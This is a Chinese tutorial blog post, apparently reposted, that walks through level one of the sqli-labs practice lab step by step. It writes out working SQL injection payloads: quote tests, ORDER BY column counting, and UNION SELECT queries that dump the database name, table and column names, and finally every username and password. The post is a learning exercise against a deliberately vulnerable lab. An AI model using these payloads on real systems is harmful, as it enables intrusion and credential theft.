当前位置: 首页 > article >正文

web——sqliabs靶场——第一关

今天开始搞这个靶场,从小白开始一点点学习,加油!!!!

1.搭建靶场

注意点:1.php的版本问题,要用老版本

              2.小p要先改数据库的密码,否则一直显示链接不上数据库

2.第一道题,从0开始

更着大佬学习怎么搞

1.判断是否存在sql注入漏洞

在开始之前我们要先知道如何判断是否存在sql注入漏洞:

最为经典的单引号判断法:
在参数后面加上单引号,比如: 1' 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入)

有报错,说明有sql注入点

2.判断sql注入漏洞的类型

通常sql注入漏洞的类型有两种:

1.数字型 

2.字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

1.数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 可以通过加,减,乘,除等运算来判断输入参数周围有没有引号来包围来判断:

Url 地址中输入x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

2.字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

Url 地址中输入 x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:
当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。

实践一下

数字型判断

/?id=1 and 1=1

回显正常

/?id=1 and 1=2

回显正常

字符型判断

/?id=1' and '1'='1

?id=1' and 1=1 --+

 

回显正常

/?id=1' and '1'='2

/?id=1' and 1=2 --+

发现没有回显,有错误,说明是字符型注入漏洞

现在进行联合注入,先来判断它的字段数 
?id=1' order by 1 -- +
?id=1' order by 2 -- +
?id=1' order by 3 -- +
?id=1' order by 4 -- +

这个 --+,主要是注释掉之后的语句

 

但是当判断到4的时候页面报错,说明它里面的字段数只有3位

字段数:在 SQL 查询中,字段数(Field count)通常指的是查询所涉及的列的数量。它代表查询结果中返回的列的个数。字段数是 SQL 查询的一个重要概念,它决定了查询结果中会返回多少列数据,也影响了数据库查询的结构、执行计划和性能。

开始爆出显示位,就是看看表格里面那一列是在页面显示的:
?id=100' union select 1,2,3 -- +

注意,这里为什么要将1改为100,是为了成功执行我们的联合查询中的显错位,这里的id不存在100位这么多,就会将后面的联合查询中的1,2,3,显示出来。

也可以将100改为-1,都是为了后面的1,2,3显示出来

可以看到是第二列和第三列里面的数据是显示在页面的

我们可以控制2,3出现的位置,那么开始判断库名:

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26:

?id=-1'union select 1,database(),version() -- +

 

得到库名为security,下来判断表名

爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+

/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 4,1 --+

查询出表名有:emails,referers,uagents,users 四个

可以用内置函数group_concat() 将表名一次性输出
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
  • 1, group_concat(table_name), 3:

  • 1: 这是第一列的值,通常是一个常量,表示查询结果的占位符。

  • group_concat(table_name): 这部分非常关键。GROUP_CONCAT() 是 MySQL 中的一个聚合函数,用来将多个结果行的内容拼接成一个字符串。在这个查询group_concat(table_name) 会将 information_schema.tables 中所有表名(table_name)拼接成一个由逗号分隔的长字符串

  • 3: 这是查询的第三列,类似于第一个列,它只是占位符,不会影响结果。

也是一共四个表

开始爆users的列名:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- +

发现有id,username,password三列

从username和password两列里爆出数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users -- +

 

得到数据,结束。。。

原文链接:sqli-labs靶场第一关-Less-1: - 张伟文 - 博客园


http://www.kler.cn/a/384216.html

相关文章:

  • 如何快速搭建一个spring boot项目
  • 大语言模型训练的全过程:预训练、微调、RLHF
  • 云集电商:如何通过 OceanBase 实现降本 87.5%|OceanBase案例
  • 代码随想录刷题学习日记
  • CSS 滚动驱动动画
  • 如何通过网络加速器提升TikTok创作与观看体验
  • RibbitMQ-安装
  • K8S网络插件故障处理
  • 【STM32】DMA直接存储器读取
  • linux crash使用和环境部署
  • C++从零到满绩——命名空间、输入输出and缺省参数
  • Selenium 高频面试题及答案
  • Java中的远程方法调用——RPC详解
  • solo博客源码使用idea编译运行
  • 信息安全工程师(81)网络安全测评质量管理与标准
  • 关于vue3-router的基础知识点以及注意事项
  • C++ lambda 匿名函数
  • Foundry 单元测试
  • 15分钟学 Go 第 37 天:综合复习与小项目
  • Flutter鸿蒙next 的 Sliver 实现自定义滚动效果
  • .Net WeekOfYear 获取日期所属于一年中的第几周
  • Docker是什么
  • tinymce扩展功能:1、行高、段落间距、格式刷;2、视频上传进度条;3、对复制的图片设置尺寸
  • 【Axure高保真原型】2级下钻条形图
  • 沈阳乐晟睿浩科技有限公司抖音小店强者之路
  • 跨境云专线:构建高速、安全的全球业务网络